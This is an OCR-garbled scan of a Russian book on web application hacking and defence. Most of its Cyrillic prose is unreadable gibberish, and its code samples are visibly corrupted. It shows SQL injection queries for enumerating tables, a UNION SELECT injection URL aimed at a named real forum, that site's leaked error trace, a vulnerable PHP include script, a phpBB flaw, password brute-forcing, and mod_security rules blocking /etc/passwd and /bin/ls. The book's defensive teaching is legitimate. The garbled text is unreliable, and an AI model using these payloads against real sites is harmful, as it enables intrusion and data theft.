HHorna GbisaeT HEOGXOMUMOCTD IIOIYHHTL HMS TOABKO OAHY 3aMHUCH U3 TaBIHLbL.
370 nerko cnenath, OrPaHUUKUB PE3yALTAT ¢ NOMOIBIO ONEpPaTOpa TOF n, KOTO-
Pbiff CTABHTCA MOCAE SELECT, IMIE n — 3TO KOMMYECTBO HY)XHBIX cTpok. Hanpumep,
cneaytowKi TPHMEp BLIGHPACT NEpBLIC NBS 3aMHCH:

SELECT TOP 2 TABLE_NAME

FROM INFORMATION_SCHEMA.TABLES

Kak MOXHO NOAyuHTL CreRyiouyto sankcs? Ja oueHb mpocTo, BeIGpaTe BEPXHIOD
3ANUCh W3 INFORMATION_SCHEMA.TABLES M OIpaHHYMTb 3anpoc Tak, utobbl W3-
BECTHOE Bam MM oTcekanock. Hanpumep, Bbi yike 3Haere, uTo B 6a3e NaHHLIX €CTh
Tabnuua Users. JIas nonyueHUs CAenyIOWEro UMeHH Tabnuub! NUILeM:

SELECT TOP 2 TABLE_NAME

FROM INFORMATION_SCHEMA.TABLES

WHERE TABLE_NAME<>'Users'

Koria M3BECTHO HECKOMBLKO Tab/IHLL, MOXHO NEPEUHCNTE HX C TOMOLIBIO NOT IN,
Hanpumep, ceayiouum obpazom:

SELECT TOP 2 TABLE_NAME

FROM INFORMATION_SCHEMA,TABLES

WHERE TABLE_NAME NOT IN ('Users', 'Passwords', ‘Data')

Jins anarocTpauuk aToro s BepHydca Ha Web-caiit www.classictoday.com.
Panee MBI HE CMOTAIM YBUAETH CXeMy (scheme — MeTafaHNbie, KOTODhIE XPAHAT
B cefe cryxebHyl0 HHOOPMALMIO, CTPYKTYPY Gasbi naHHbIX, TAGAKI U T. 0.) TOAR-
KO [OTOMY, 4To OTOGpakanach TONLKO MepBas cTPoka WHGOPMELWMM, KOTOPYIO
sosspawan SQL-3anpoc, nporucanHeii B cueHapuu. Bropas u nocnegyromme
CTPOKH, FloNyHaeMble B pesyasTate sHeapenus SQL-aanpoca, ne orobpaxanice.
Tpowno nBa jaHs, a ownGka Bee elue Gbuia Ha mecTe. Ee HUKTO He coGupanca
ybupath.

Hrobe SQL-3anpoc, mponucasHbifi B CUEHADHH, HE BO3Bpamian WHPOPMELHM,
H YCTaHOBWJ MMapaMeTpy 1D 3uauenune "9999283". Takoit cTaTby B Gale aaHNKIX HO
okazanock. Teneps Ha skpane OTOGPAKANOCH CONASPKUMOE TICPBO CTPOKH MOEI0
sueypernoro SQL-3anpoca, u A ysuaen uma repsoi TaGiuue. [k 31010 & 3arpysuit
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Kaxzaulit daiin umeer onpeneneHnsle npasa. [Tonutuka npas goctyna k daiinam
3aBUCHT OT koHkpeTHOH OC, HabaiiTe paccMOTPHUM NOANTHKY Ha npumepe Linux,
KOTOPbIH B NOCNEAHEE BPeMA CTAHOBHTCS HauGosiee NOMYNAPHBIM pellieHHeM.

Tpasa 8 OC Linux onpeaenstoTcs Ha OCHOBE TPEX COCTARNAIOLLNX:

1. Tlpasa Braseibtia — NO YMOMUaHUIO KTO cozaaer (i, TOT ABNAETCA H ero
BRAAENBLEM.

2. Ipaea rpynns! — 32 daiinom Moxer GbITh 3aKpeliieHa onpeaeneHHas rpynna
NONB30BATENEH, M BCe NONB3OBATENM 3TOH rPYNNbl MOTYT UMETD OripeaeneHHbIe
npasa.

3. Ilpaea Bcex OCTal/IbHbIX — BCE OCTANBHBIE NONB30BATENH CHCTEMDbL.

Jnsa xawpol cocTaBAftolled MOXHO HASHAYMTL NpaBa JOCTYNA: YTEHUE, 3anMch
¥ BbINONHEHKE. ABCONIOTHBIMU NPaBaMK Ha CHCTEMHBIN ClieHapuil JomkeH obna-
AaTh TONbKO BAanenel, KOTOPLIi, B CBOIO Ouepestb, KOMKeH 06NanaTh Ha cepeepe
MHHHMANLHLIMU paBaMK, a ydwe GuiTh HukeM (nobody, sHarowuii Linux, na
noliMer MeHa). Boe ocTanbhble JOMKHBI HMETh NPaBO TONBKO Ha BbINOAHEHHE.
JlasaTb nipasa uTeHMs W 3ankcu Ges ocobolt HanoBHOCTH HACTOATENLHO HE pexo-
MEHZYeTCS.

Ecnu xakep CMOXET 3anMcarb 4TO-TUGO B HCXOIHDIH KOX CHCTEMHOTO CLEHapHs,
TO OH CMOXET 3AMEHUTh ero CBOeH nporpamMoii, koropas Gyaer BBINONHSTL He-
obxoanMble B3TOMILMKY AeficTeus. Hanpumep, Ha cepeepe MOXeT GLITh ycTaHOB-
NieH CueHapui, KoTopbIi GyaeT BBIMONHAT, kakne-THGO AefiCTBHA Ha HEM: KOMH-
poeaTh aiinibl, 4MTaTh KOH(UrypauHonkbie daiinel. Ecnn npasa Web-cepsepa
AOCTATOMHBI /U8 YTEHHA CHCTEMHOTO KaTanora /etC, TO XaKep MONET YBUIETh
KOH(UIypaumIo, CAUCKH NONL30BATENEH 1, BOMOXHO, AaXe NApOH JOCTYna.

Bo3MONHOCTL 4TeHHA dafina CUCTEMHOrO CLeHapHs NO3BOMHT YBHAETb €ro Hc-
XOZHBIN KOZI. B3NOMIUMK CMOXET €ro npoaHani3upoBaTh U HaiTH criaGble MecTa
H BOIMOXHBIE YSIBMMOCTH. MckaTe OWINGKY HAMHOMO [pOLle, KOT4a AOCTYNeH
Mexonneib koa nporpammsl. Hanpumep, PHP-cuerapuii MOXeT noakntouaTh KoH-
urypaumonHbiii Gaiin ¢ HacTpoiikamu. Ecan atoT daiin Gyaer aoctyne min ure-
HUA BCEM NONb30BATENAM, TO XaKEP CMOXKET €r0 NPOUHTATh ¥ YBUAETh, HANPHMED,
naponum aoctyna k CYBJT.

1.11.3. Npasa pocTtyna k CYB/]

Miorue NporpaMMUCTb H 2AMHUHHCTPATOPb! He MOBAT BOIUTLCH C pacnpeaceHn-
em npas Ha CYBJ], Hasescs, 4To noaxmouathes GyayT TOMbKO NeranbHble noib-
30BaTenH, U oHu ByayT akkypaTHo paGoTaTh ¢ cucTemoi. 3o Gonbias omwGka.
HaznaueHHbie NpaBa MOTYT 3aUIMTHTH BAC OT MHOXECTBA NOTEHLMANbHBIX NPo-
6nem ¢ GesonacHoCTLIO.
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B HHX HAXOAAT M HCTIPABAIOT OUHGKY, 2 B 3aKPLITEIX CHCTEMaX Gonbile B3BEdEH-
HbIX GOMG, KOTOpBIE MOTYT B30pBaThCA B /Mt0GOH MOMeHT. TlycTs nyume aTi Gom-
66l GyayT B3BEASHDI B 32KPBITOM KOJIE M HUKOr4a He B3OpBYTCH, YeM GyayT B3pbl-
BATHCH KAKAbIHA MECAL B OTKPHITOM. 2TC JIHYHO MOE MHEHHE, ¢ KOTOPbIM KAXIIH
MOXET COrACHTBCA WIIH HET.

1.14.3. PeweHus Open Source

Pewenns Open Source MoxHO Bbls"pﬂTb AT HEKCMMEpUYECKHX NPCEKTOB. B 3TOM
Cnyuae ClegyeT peryispHo ClefuTh 3a OSHOMCHMHMM W CTaBUTb KX BOBPEMA.
Mpueeny npumep. Y MeHs ectb cBoit Web-calit, koTopblii 5 He Mory Ha3eath
6OJ1MIIMM, N0 NOCEIAEMOCTH ero adXke K CpefHeMy KIacCy OTHeCTH CIOXHO,
M npH 3TOM OH pa60‘ra.'| € Y€ U3BECTHBIMH BCEM ownbkamu TPU MeCaLa, npexae
4em Gbu B3noMaH. Ecnut 6bl 4 XOTb HeMHOrO GBI BHEMaTeNbHEl ¥ MeHblle AoBe-
PAT NOCETHTENAM, CPERM KOTOPbIX HE BCE ﬂOGpOCOBeCTHbIe, ITOrC MOXHO GbuTO
Gbl m36exaTh.

HegocTatok roToBbIX pelleHH ¥ B TOM, YTO OHH PEATH3YIOT HaMHOro Gonbure
BOIMOKHOCTEH, YeM HCTIONL3YIOT NONb30BaTE M. Kaaas THUIHAR BO3MOKHOCTS ‘—
3TO BCEr/a NOTEHNHaNbHaa yrposa BezonacHocTy. B cBazu ¢ 3THM HUKOTAA He ye-
TaHARKBaNTE NHLIHUE leCTpDﬁKM, 05069HHO, €CTH Bbl W BaLLK NONb30BATENIX HE
nonb3yereck umu, Ilo Moum Habmogenusm, 6asoBas KOHPUIypaLHs COREPKUT
MeHbllte olthbok. Hatne Bcero OmHMGKM HAXOAAT UMEHHO B HALCTPOWKAX, KOTOPEIE
NpeacCTaBAAOT ACNCIHUTENbHBIC BOSMOXKHOCTH.

Koraa bl BbIGHpacTe roToBoE peLireHte, TO KAKOMY OTXATh NpPeANOYTeHHE — F0-
NYRAPHOMY, B KOTOPOM HAaXOAAT OHGKH, MM HENONYNAPHOMY, KOTOpbIH Haxo-
autcs B Tenn? Eciin 4ecTHO, TO BEPOATHOCTS BANOMa OT MOMYAAPHOCTH Nporpam-
Mbl 32BHCHUT He cunbHO. TyT Bee Gonbiite 3aBHCHT OT NOMyASPHOCTH Bainero Web-
caiita. ECi OH OueHb nonynapeH, TO XaKepbl 3aUHTEPECYIOTCS HM, M BOIMOXHO,
4TO HalgyT omuGky, KOTOPYIO ellle HHKTO He BUEN paHble.

MoKeT noKasaTbecA, YTO NONYAAPHble M GOMbIuMe NporpaMMBbl (CLEHapHK) ycTa-
HaBTMBATHL HeMb3s, H OHM HecyT B cefe ToNbKo npoGaeMsl, HO 3To He Tak. Y Gonb-
UIMX NPOEKTOB MHOTO NPEUMYLLECTB, HANPUMEP:

1. YtoBul aepxaTb MapKy H OCTaBaThCA TOMYNAPHBIM, NPUXOAMTCH HAZENATH

$opyM BCemHM HEOGXOAMMEIMM CPEJCTBAMM He TONLKO yaobeTea, Ho M Gea-
OMACHOCTH.

2. OBHOBNEHNA BLIXOAAT PEry/apHO W 4auie Beero sospema. Ilpocto creaute 3a
HOBOCTAMH, M BEPOSTHOCTb B3noma Bawero Web-calita GyseT cTpemHTHCH
K Hymo.

Ecan aur Web-caiiT He oueHbL NONYAAPEH, TO MOKHC BbiGpaTh ¥ He OUYeHb oMy~

NApHEi cueHapuii. Ho ecain Web-caiiT noab3yercs nonylsapHocTbio, To s Gbl He
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Puc. 8.6. Coobryenve o6 owmbke

Bor 310 yxe untepecno. Iror Web-caift goctaTouHo kpymHsiii, HO ke Takue
TIPOEKTH! He 3aCTPaXoBaHbl OT HEMPUATHOCTEH, Bellb UX paspaboTkoli 3aHUMalOTCA
JUO/IH, KOTOPBIM CBOACTBEHHO OurnbaTheA.

Tenepb MHe HeoGXOAMMO Y3HaTh, CKOJIbKO fofieH BO3BpalaeT nokckosbli SQL-
3anpoc. Jins 9TOro MOXHO MCTIONL30BAThH TAKOH ke METOS, kak M ¢ Ga3oi AaHHBIX
MySQL. 7. e. obbenutnts SQL-3anpoc ¢ Apyrum Ha BLIGOPKY NyCThIX moneit
{select null, null...). Tonsko 8 MS SQL Server ans ofbeauHeHus nyuwe
HCNIONB30BATE union all, a HE NPOCTO union. Jles0 B TOM, ¥TO union 0GLEAHHAET
CTpoky M yGHpaer MOBTOPAIOWKECH {KaK MPY HCTIOAE3OBAHHM DISTINCT), & ITO
paGiotaer He seeraa. Henbsn wenonsiosars DISTINCT, ecan SQL-3anpoc soyspa-
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<HTML>
<HEAD>

<TITLE>Injection test</TITLE>

</HEAD>

<BODY>

<center><h3>PHP test</h3></center>

<hx>

<a href="inc.php?dir=news&file=netutils">Read news</a>
<hr>

<?
// 3To QyHKUMA NPORepKM NapaMETPOB
function checkparam($var}
{
$var=preg_replace("/[*a-z]/i", "", $var);
return $var:
}

if (isset(5_GET('file'l))

«

// Hcnonsayen $yHKWED HNA NPOBEPRMA NAPAMETPOR HA 3ANPEUSHHNE CHMBOMH
$_GETI‘file’] = checkparam($_GET['file']);

$_GET('dir') = checkparam($_GET['dir')};

include{$_GET['Air’)."/".$_GET['file']};
}

7>

</BODY>
</HTML>

Tlouemy 3TOT CUCHaPpHii Bcero Nuwib Bosee 3aluMueHHbI#, HO He NPEAOCTABIAET
abcontoTHo# 3awmTe? Jleno 8 TOM, 4TO ¥ Xakepa €we ocTaerca oaHa naseiika:
TPOCMOTPETL MPOK3BONbLHLIA (alin B kopHe nucka. Eci napamerp dir OCTaBHTH
nycTeIM, a B napaveTpe file Mepeaats ¥msa (aiina, To nomyuum nyTs /filename,
rae filename — 370 uma daiina. B xopue aucka Linux Het Hudero monesnoro u ve
NOMANG BBIT, TOITOMY 3Ta fla3eiika HAUETO XOPOLIEro HE AacT,
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System error

error:’ Can't call method *numrows" on an undefined value at
/users/v/o/volcity. ru/html/www/bb/txt .t line 14.

context: ...
10: } elsif (!$id) {

11: Soutput $dbh->Query ("select * from kb where rl = '$rl' and r2 =
'$r2' and r3 = '$r3's$str_q") if $r2 > 0 && $r3 > 0;

12: Soutput = $dbh->Query{"select * from bb where rl = '$rl‘ and r2
‘$r2'sstr_g") if $r2 > 0 && !$r3;

13: Soutput = $dbh->Query{"select * from bb where rl = '$rl'$str_q order
by dat DESC limit 5*) if 1$r2 && !$r3;

14: $cl = Soutput->numrows;
15: if {$Scl > 30) (

16: Soutput = $dbh->Query("select * from bb where rl = '$rl’ and r2 =
'$r2' and rld '$r3'sstr_q order by dat desc limit $page, 31");

17: )} elsif (1$r2 &k 15r3) {

18: Soutput = $dbh->Query ("select * from bb where rl = 'Srl'$str.q order
by dat DESC limit 5°);

code stack: /users/v/o/volcity.ru/html/www/bb/txt.t:14
/users/v/o/volcity. xu/html /www/bb.mhtm: 107

raw error

Can't call method "numrows" on an undefined value at
/users/v/o/volcity.ru/html /www/bb/txt.t line 14.

Trace begun at
/usr/local/lib/perl5/site_perl/S.8.4/HTML/Mason/Exceptions.pm line 131

HTML: :Mason: : Exceptions: :rethrow_exception('Can\’'t call method "numrows"

on an undefined value at /users/v/o/volcity.ru/html/www/bb/txt.t line
14.73') called at /users/v/o/volcity.ru/html/www/bb/txt.t line 14

eval [...) at /usr/local/lib/perl5/site_perl/5.8.4/HTML/Mason/
Request.pm line 1068
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ATh KONHHECTRO BOIBPAIIAEMEIX NONeH, NOKA He HeHeaneT owuGKa, U Mbi He Ybu-
tum ropym. Ho monBop Gynet xoarum, OToMy WTO NPH BHeApeHuM koaa k3 SQL-
anpoca ABHO MCHEIACT OTPAHHHEHHE HA KONHMUECTBO BLIGHPAEMBIX CTPOK, NOITO-
1y Web-cepeep Gy/er BO3BpaIarh GONbIICE KONHYECTBO CTPOK, YTO CIMILUKOM
(04110 M HZKNAJHO JUIA MEHA, MO3TOMY /1A NOAGOPa A BHEAPH CHEAYIOWYIO KOH-
Tpykumio: " limit 1 union select null, null, .../*"

3 Hauane cTOMT onepaTop limit W uucno 1. Taxum o6pasoM, 3 OrpaHHUKBAIO KO-
'HHECTBO CTPOK, Boaspamaembix SQL-3ampocoM, NPOLIMTEIM B CLUCHAPHH €AHHH-
(i, 8 3HAMHT BLINOTHATBCA K 3arpyXKaTbea oH Gyact GuicTpo.

TonGop 3asepuninca crenyiowum URL: hitp://www.volcity.ru/bb.mhtm?com=
&r1=10'%20limit %201 % 20union % 20select %200,0,1,2,3,4,5,6,'sdfh* null,nutl,
wil,nuli,nullnull,nullnull,oull/* &g id=99999.

{a puc. 7.4 nokasan npaMep BHEAPEHHOro Mol Tekcra B Web-cTpannuy dopy-
. KOH&‘IHO, 3TH JaHHBIE 1 HE COXPAHAN B Gaze AaHHbIX.

i Teyten S
Mo Mytassa -
ety T8 e Ty gas

s

A K L i i
BT LA b i e Bl s s s

Puc. 7.4, BreapenHoe coobienne
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Urak, 19 ONHATHA YPOBHS MPHBWIETHI MOXHO GbIO MOCTYIUTL CNEAYIOWAM
cnocobom:

3 Tak kak BbINONHATE KoManabl B cTpoke URL aoctarouso HeynoGHO, To MOXKHO
6bino Gbr 3akauath Ha Web-cepsep Gonee ynoGubii cueHapuii, Hanpumep, ko~
MaHaHyio obonouky (shell);

O nonpoGoBaTh BOCIIONBI0BATLCA SKCIIOKTOM AN B3noma Web-cepeepa u momy-
HeHUA Tpas aaMUAKCTpaTopa. B nepeo crpoke gatsia naponed (cM. puc. 3.6)
MEl BUZMM, YTO TIEPEA HAMY HE 4T0 HHOe, kak FreeBSD. s nposepkiu MoxHO
BLINONIHUTS KOMaHAy unane. [Toc/ie HakTH SKCMAOUT, KOTOPLIA MOXKET NOAHATS
YpOBeHb MpPHBHAErH uepes yssBumocTe B OC, M, Hampumep, npucTynath
K YHHUTOXEHUIO Beex Web-caliToB, pacionoxeHHbIX Ha faHHoM Web-cepsepe.

Tak kak MoeH uenblo Gk He BINOM, @ PACKPLITHE OWWMGOK AAMUHHCTPATOPOB
¥ TIPOrPAMMMCTOB, TO Ha 3TOM A 3ABEPIIMI CBOM MCClefoBaHMA aanHore Web-
cepaepa.

Tenepb nasaiite pasfepem OWMGKA ¥ BO3MOXKHBIC BAPUAHTBI HX DELLEHHA. A OLIU-
GOK TyT AOCTATOMHO:

1. Brageneu dopyma ne nosaﬁcmncn 0 ero ofHosaeHuy. Hcnonbays ouens cra-
PYI0 BEPCHIO, ABTOP MOCTABHI TOA Yrposy Bee Web-caifThi, KOTOpbIE HAXOAATCH
Ha nanHoM Web-cepeepe.

2. Anmunuctpatop Web-ceprepa HE cnenuT 3a GesonacHOCTBIO pacnonomeﬂﬂux
y Hero Web-calito. S 3arnssyn B APEKTOPHIO /100t ¥ YBUAEA TAM MHOXKECTBO!
YTHAHUT, B TOM YHCAe ¥ I8 TecTApoBanua GesonacHocty. Mimu a.uMHHuchaTop
RABHO He OBHOBAST 3TH yTHIMTSI, AUGO He 3amyckan. TakuM oGPazoM, O AaKe
He 3HaeT, uTo Ha ero Web-cepaepe HaxoauTea yassuMbii Web-caiir,

Hcnpasute nannyio owybiy ouesb pocto. HyxHO caenats cienylolee: oTkpo=
Te ¢aitn viewtopic.php ¢ noMomsIo m060H NPOrpaMMEl PeIaKTHPORAHUS TEKCTO~
BbIX $alinos 1 HalmuTE CTPOKY:
swords=explode(' ',

trim(htmlspecialchars (urldecode ($HTTP_GET_VARS(‘highlight']))));
Ecnu Bbt 31aeTe PHP, To nonxHb 3aMeTHTL dYHKUMIO urldecode, KOTOpAd Ka
paz ¥ BBLINIOJHRET CHCTEMHble BbI3OBLI, mepenaHHbie uepes URL. YGepure :ﬂ;
YHK1MIO, FIDH 3TOM IOKHO OCTATHCA TOABKO
swords = explode(’ ',

trim(htmlspecialchars (SHTTP_GET_VARS( 'highlight'])});

Teneps Baw Web-caifT u gpopyv b GezonacHoCTH.

Hcnonb3oBanne QyHKUMH urldecode B JAHHOM Ciydac He Gesomacho. Moxuo:
6610 n06aBHTL HUNBTPALKIO Ha OMACHBIE CHMBONBI K OCTABHTH €€ BBI3OB, HO 5 NPed=
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8 METV um. BaymaHa. A uto, dupma nnarur, tak nodemy Gkl He moexats 8 Mo-
CKBY W BMeCTO paloTel He oTAoXHYTb Tam? M a1 noexan. B kaGunere, rae Mbi o6y-
4anuck, GbiNo okono 20 KOMNLKOTEPOR, a BO BCeM YueGHOM Kopryce X Gbuto Go-
nee cta. [Tpy 3TOM Ha BCeX KOMMbIOTEPAX NAPONb ATMHHUCTpaTopa Gbin password.
Hy, 970 yxe BooGle M3 cepuy rnynbiX KoMeRui, korsa sam nuwyt: "Enter the
password" (Bseaure napons), Bel BBOAWTE C/oBO "password” (Naposb) ¥ NPOHH-
KAETE B CUCTEMY.

Meroa noabopa oueHb HacTO MUCTIONB3YSTCA AIA BIIOMA NOYTOBBIX AMKkoB, FTP
" Apyrux ¢y, B KOTOPBIX NPOTOKON NpeACTaBAfeT COGOH NpOCTbie TEKCTOBbIE
KOMaHZbl, W Tae HeT widgposanus. Banameisate WHPsl nepeGopom CuLIKOM
YTOMHTENbHOE 3aHATHE, OCOBEHHO, eClTH VT NIOTY4eHNA OAHOrO 3aLIH(BPOBAHHOrO
TEKCT2 HeOsXOﬂHMO JOCTaTOYHO MHOTO NPOLIECCOPHOTO BPEMEHU.

ToaGop — 3TO AOCTATOMHO KONTHIA MPOLECC, HO ecnik BLIGpaH neACTBUTENLHO
ZANMHHBIA ¥ CIIOKHBIA NapoNb, TO ADKE CaMbiii Ty4IIHH COBAph HE BHIPYHMT Xa-
kepa. Ho ¥ B 3TOM Cllyyae He CTOMT paccnalnaTbCa. Xakep MOMET BOCNONL3O-
BaTLCA NONHBIM MOAGOPOM NO BCeM CHMBONAM. 3TO OTHHMET B HeCKONbKO pa3
Gonblie BPEMEHH, HO, B KOHUE KOHUOB, I2CT NONOXHTENbHbIN pesynbTat, Yrobn!
ITOTO HE NPOU3OULIO, HYXHO YCTRHOBUTh KaKylO-HHOY/Ab CHCTeMY OGH2pyKEHHs
atak. Xopoluwii ceTeBo#i skpaH Ge3 npofneM BRISBUT nonsitku noabopa W npo-
cHrHanusupyet of 3roM. Y6eauTech, 4TO Balll CeTeBOM 3kpaH COAEPHHT Noaos-
HYI0 QYHKUMIO.

Tlpy nonHOM nepeSope CIOKHOTO Naponis MOXET NOHANOGHTBCA CTHLIKOM MHOTO
BPEMEHH, HTO MOXET OKa3aThCA He COMOCTABMMBIM C MONYHEHHBIM PE3Y/bTATOM.
3a BpeMs NoaGOpa naponb yXke MOXET HIMEHHTCA, €C/TH NONb30BATENb MEHAET HX
KaKable napy Mecaues. [Tonyuaercd, 4To 3aMTUTECA OT NepeGopa MOXHO W pe-
FyNApHOH CMEHOM napons, Hampumep, Kaxablii Mecau. B Hekoropbix chcTemax
MOXKHO JaKe YCTZHaBNHBATh OnpefeNeHHbIe NONHTHKH, KOTOPbIE CMOIYT TIPUHY-
JMTb NONb30BaTenA MeHATh Naponk. Ecnu B Bawei OC ecTh Takas BO3MOXKHOCTb,
TO 0643aTeNbHO HCMONb3YiiTe ee ¥ A1a cea AoGKUMOro, 4ToGb! He 3abbiBaTh pery-
NIAPHO MEHAT Naposb.

Tpexae 4em npuctynath k noaGopy, HyAKHO XOPOUIO OTPEARKTUPOBATL CHOBAPK
WMeH K naponei. OueHb BAKHO 3HaTh, KAKYIO CHCTEMY Bbl BilaMbiBacTe. Kmenno
ANtA 3TOTO Mbl onpeaenany sepciio OC. Hanpumep, €CiM 3TO CepBEPHBIA BapHaHT
Windows, TO XxenarenbHo, YToGbI CPEAN MMEH YYETHbIX 3anucedt Gblm "Aamutu-
crparop”. Hy, a ecnu ato UNIX-noao6Has cuctema, To 0583aTeNbHO A0MKEH NPH-
CYTCTBOBATb "root”, a BCe UMEHA THNA "ANMUHHCTPATOP" HYKHO YOparh, notoMy
uro B UNIX Takux ydeTHbIX 3anuceii He cozgatoT. Koneuno, GbBalOT ciiydam, xo-
I/l CHeLManicT no Ge30NACHOCTH XOUeT npecTasuTh 8ol cepiep kak Windows,
a Ha caMoM gene 310 Linux, HO Takoe GbiBaer peko, nOTOMy 4To B KilaHe Linux
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B 3anpocax, KOTOpkle HanpasiseT monb3osaTenk Ha cepsep, comepxutca URL,
© KOTOPOro HeoGXOAKMO B3ATE ZOKYMEHT Wik dafin. UTo MOMKHO 3afaTh B npasu-
nax Mozyna, 4To6bl cepsep cran Gesonachee? PaccMoTpuM npocteifiumi npuMep:
B 3anpoce He A0MKHO GbITh HUKakux obpalleHuit k daiiny /etc/passwd, sanaeM
COOTBETCTRYIOUMH (UILTP, W CH NPOHCXORUT ofpallienke, coaepxaee URL
aroro (aina, TO 3aNpoc OTKAOHAETEA.

Hrak, moaynb mod_security MOxHo B35Th ¢ Web-caiita www.modsecurity.org.
Tlocne ero ycranosku B daiine hitpd.conf moxno Gyaer HenomL30BaTh AONOAHK-
Tebible AMPEKTUBLI, GUIbTpauuy 3anpocos. PaccmoTpum waubonee nrTepecible
M3 HUX:

0 SecFilterEngine On — BKITIOUHTb PEXHM QUIBTPaLlUy 32NPOCOB;

O secFilterCheckURLEncoding on — nposepatb kompoeky (URL enceding
is valid);

O secrilterForceByteRange 32 126 — PaspellacTCs WCTIONb30BATh CHMBOMbI
C KDIAMH TONIBKO M3 YKA3AHHOrO fnanasoHa. CHMBOJTBI, KOMibI KOTOPBIX Meee 32,
npuHamexat CryKeSHBIM CHMBOMaM THNa "nNepeBoa KapeTky", "koHew cTpoku”.
BONBUIMHCTBO W3 3TUX CHMBONOB HEBUAMMbI, HO ANA HUX CYLIECTBYIOT KOMEI,
4ToBbl MOXHO Gbino 0GpaGaTslBaTb HAKATHA COOTBETCTBYIOWMHX KIIZBHUI
Ha knasuatype. Ho Kak e TOrZia XaKep MOXET BBECTH HEBHUAMMbIA CHMBON
8 URL? 370 i6HCTBUTENLHO HEBOIMOXKHO, HO BNOJIHE PEANLHO BBECTH HX KOX.
Hanpumep, uTobsl ykasaTh CuMBON ¢ kojoM |3, Heobxoaumo ykasats 8 URL
aapece $13. Ciumeonbl mMeriee 32 u Gonee 126 ABAAIOTCA HeIONMYCTUMBIMK JISL
afipeca, NOITOMy BOOMHE NOTHYHO TAaKMe NAKEThi He nponyckath 30 Web-
cepBepa;

0 secauditlog logs/audit_log — ¢ NOMOIILIO 3TOTO N2PAMETPa 3ANAETCA UMA
aiina xypHana, B koTopoM GyAeT coXpaHAThCA HHGOpPMaLKa 0f ayauTe;

0 secFilterDefaultAction "deny,log,status:406" — 3ITOT napaMeTp 3agaet
feiicTBHE 0 yMORuaHHIO. B naHHOM clyuae ykasaw 3anper Ha noctyn (deny);

0 secPilter xxx redirect:http://www.webkreator.com — €CAH (QHABTP
cpabaTLIBaeT, TO NONE30BATENA NEpeanpecyloT Ha Web-calit www.webkreator.com;

0 secFilter yyy log,exec:/home/apache/report-attack.pl — eCcld
GuneTp cpabatsiBaeT, To Gymer BbinonHeH cueHapuii /home/apache/report-
atack.pl;

O secFilter /etc/password — B 3aNpoce NONb30BATeNs He AOMKHO Gbirh 06-
palieHus k ¢aiiny /etc/passwd. Takum xe ofpasom HyxHO 2062BUTH 3amper
& obpaueruio u k daiiny fetc/shadow;

[V SecFilter /bin/ls — B 3aNpOGE NONBIOBATENA lIE NOIKIO GbITH OOPAOHUS
K nporpamMaM. B JaHHOM cliydae 3a1peuacTcs KOMAILIN 18, KOTOPAS MOXOT
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[lepBEIM Nenom BB JOMKHBI 3aWMTHTL TOAKMONeHNs k cepeepy. Ecnu CYBJ
1 Web-cepaep, o6paCaTbiBaiolupit CLeHAPHH, PACFONOKEHBI Ha ONHOM (H3Hue-
CKOM KOMNbIOTEpE WM CEPBEPE, TO HEOGXOAUMO 3aNPETHTD NF0DbIe MOAKMIOHEHHS
k CYB]| u3she, JlomiHel GbiTh paspeltiedbl TONbKO JOKANbHBIE NOAKITIOYEHNHS,
O cMeHe Napons MO YMONHAHHMIO 5 YXKe TIPOMOMMY, T. K. YNOMHHAN of 3ToM He
ORKH pas.

Ecnu CYBJ] u Web-cepaep dusuuecku pazaefiensl, TO HeOBX0AHMO ¢ NOMOLIbIO
©ETEBOrO KpaHa Pa3peutHTh MOAKIIOHEHHA TOMBKO C onpefeicHHbIX 1P-aapecos:
camoroc Web-cepeepa i KOMNBIOTEPOB, Ha KOTOPbIX paloTAOT AAMUHUCTPATOPBI.
Bce ocranbHble He AOMMGHBI MMETH NpaBa NPAMOrO MOAKIOMEHHSA, B HAeane
& CYB]I BooGlite He fomidio GbiTh YAANEHHOTO ROAKNIOYEHHA.

UroGbl CueHapHit CMOT NONYYMTE [aHHble, OH NOAKTIOSAETCA K OnpeaeneHHoH
Gase AaHHBIX M B 38BUCUMOCTM OT NPaB JOCTYNA BHINOMHAET kakHe-THGO aelict-
BuA. MHOrMe aIMHHUCTPATOPEI He 0COGEHHO NIOGAT BO3UTLCH C NpaBaMK JOCTYNa
Kk o6bekTaM Gasbl I2HHBIX, @ NPOCTO JAIOT MOMHbIE NPUBHIErHK HA BCE OBBLEKTHI.
310 HepepHo. C NOMOLUBIO PR BBI MOXETE PA3PELUTL MK 3aTIPETHTL BLINOHE-
HUA onpeaeneHHbiX koMana, Hanpumep, 60bUWMHCTBO cueHapyes npocTo BbiGH-
paeT AaHHbie K3 Tabnuu M oToGpaKaeT MX nonk3osatenio. IS 3TOrO AOCTATOYHO
MMETh Npasa TONBKO HA BBIGOPKY ARHHAIX (ONeEpaTop SELECT), NPH 3TOM MOMBIO-
BaTeNb He GyAeT UMETh BOIMOKHOCTH yAQIAT: W A06ABAATL AaHHble,

Yale Bcero omaKeHHble clieHapuu paboTaioT AoATOe BpeMs W Ge3 MaMeHeHHR
CTPYKTYpsl AizHHbIX. HCXoms M3 3TOro, BOAHE fOrMuHbIM Gbio Bbl 3anpeTHTs
Y4eTHOH 32nucH, 4epe3 KOTOPYIO CueHapui noawmouaerca k CYBJ, uaMenars
CTPYKTYpy Gaskl AaHHBIX, T. €. 106aBnsTh M ynansth Takue oLekTbl, kak Gasbl
JAAHHBIX, Taﬁ!llﬂ.ll:l uT A Toects 3anpellaeM BbINOMHEHHe KOMaHa:

(J CREATE TABLE;
00 ALTER TABLE;
0 DROP TABLE.

Jlnia BHECEHNA TAKHX H3MEHEHHIT HEOGXONUMO UMETh OT/ETbHYIO YUETHYIO 3aTTHCh
WIM 3a0KCh ANMUHHCTPATOP2 W BMELIINBATLCS B CTPYKTYpy 6askt Hanpamylo (¢ no-
MOUILBIO YTUIHT AAMUHHUCTPHPOBAHMA), & HE Yepe3 CLEHAPHH.

Aamutuctpatop Web-caitTa a0mkeH HMeTh GoMbilie Npas, NOITOMY B CUEHADHH
WIMMHHCTPHPOBRHMA MOXKHO 1A NOAKITIOYEHHS UCTIONb30BaTL APYTHE NpaBa, Ha-
LPHMEP Te, KOTOpPBIC BBOAMT MONL30BATENb NPH BXOAE B 3aKPLITYIO 4acTh Web-
cafita WK 3aUIMLIERHBIN KaTanor. D10 yi0GHO, KOTAa Y Bac HECKONbKO BAMHHK-
CIP4TOPOB C PasHbIMK npasaMu. B 5TOM Ciyuae npaBURbHBIN AOCTYN IAPAHTHPY=
€I¢s e TONLKO NPOBEpKaMH B cueHapHy, 1o M camoil CYBIL Ecin anmuuuetps-
